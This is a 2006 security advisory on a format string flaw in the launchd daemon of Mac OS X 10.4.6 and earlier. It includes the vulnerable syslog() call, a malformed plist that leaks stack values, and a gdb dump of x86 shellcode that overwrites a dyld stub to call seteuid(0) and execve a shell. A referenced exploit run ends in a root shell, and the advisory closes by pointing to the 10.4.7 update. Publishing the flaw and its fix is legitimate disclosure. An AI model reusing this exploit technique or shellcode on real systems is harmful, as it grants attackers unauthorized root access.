DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'

DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'
Author: Kevin Finisterre
Vendor: http://www.apple.com/
Product: 'Mac OSX <=10.4.6'
References:
http://www.digitalmunition.com/NonExecutableLovin.txt
http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz
http://www.digitalmunition.com/DMA[2006-0628a].txt
http://www.apple.com/support/downloads/macosxupdate1047intel.html

Description:
In Mac OS X v10.4 Tiger, Apple introduced a new system startup program called launchd.
The launchd daemon takes
over many tasks from cron, xinetd, mach_init, and init, which are UNIX programs that
traditionally have handled
system initialization, called systems scripts, run startup items, and generally prepared
the system for the user.

The following chunk of code provides a facility for launchd to send messages to the
syslog daemon. For some reason
a blatantly obvious format string issue has remained in the codebase since it was
originally created. In the
snippet below you can see that syslog() is called without a format specifier.

void
CF_syslog(int level, CFStringRef message,…)
{
char buf[8192];
CFStringRef cooked_msg;
va_list ap;

    va_start(ap, message);
    cooked_msg = CFStringCreateWithFormatAndArguments(NULL, NULL, message, ap);
    va_end(ap);

    if (CFStringGetCString(cooked_msg, buf, sizeof(buf), kCFStringEncodingUTF8))
            syslog(level, buf);

    CFRelease(cooked_msg);

}

Because of this error it is possible to call CF_syslog() with user supplied data that
will in turn be passed to an
unformatted syslog() call. With the aid of a malformed plist file we can demonstrate the
issue quite easily.

k-fs-ibook:~/Library/LaunchAgents kf$ cat com.formatstring.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;
<plist version="1.0">
<dict>
<key>Label</key>
<string>AAAA.%x.%x.%x.%x</string>
<key>ProgramArguments</key>
<array>
<string>pwnedertino</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

k-fs-ibook:~/Library/LaunchAgents kf$ launchctl load -w ./com.formatstring.plist
k-fs-ibook:~/Library/LaunchAgents kf$ launchd[1511]: AAAA.bffffc20.1.0.357b: execve(): No
such file or directory

The paper 'Non eXecutable Stack Lovin on OSX86' was written during my early attempts at
exploiting /sbin/launchd.
The technique used below is identical to what was outlined in the paper. In our exploit
we overwrite the dyld_stub
for close() and point it at the heap where we have placed shellcode to call seteuid(0)
and then to execve() /tmp/sh.
Since /bin/sh drops privs a simple wrapper is used to take full blown root.

(gdb) x/2i dyld_stub_close
0xa0011163 <dyld_stub_close>: mov $0x1811111,%eax
0xa0011168 <dyld_stub_strcmp>: jmp *%eax

(gdb) x/17i 0x1811111
Launchd makes multiple calls to both seteuid(getuid()) and seteuid(0)… thanks for
saving a lil root lovin for me.
0x1811111: xor %eax,%eax
0x1811113: push %eax
0x1811114: push %eax
0x1811115: mov $0xb7,%al
0x1811117: int $0x80

This is just nemos execve() using /tmp/sh.
0x1811119: xor %eax,%eax
0x181111b: push %eax
0x181111c: push $0x68732f2f
0x1811121: push $0x706d742f
0x1811126: mov %esp,%ebx
0x1811128: push %eax
0x1811129: push %esp
0x181112a: push %esp
0x181112b: push %ebx
0x181112c: push %ebx
0x181112d: mov $0x3b,%al
0x181112f: int $0x80

After everything is layed out properly we can kick back and enjoy our root shell ala
http://www.digitalmunition.com/FailureToLaunch.pl

k-fs-computer:~ kf$ ./FailureToLaunch.pl
open a new window and type - "launchctl load ./com.pwnage.plist"
launchd[5509]:
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
…
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

Work Around:
Install 10.4.7 update
http://www.apple.com/support/downloads/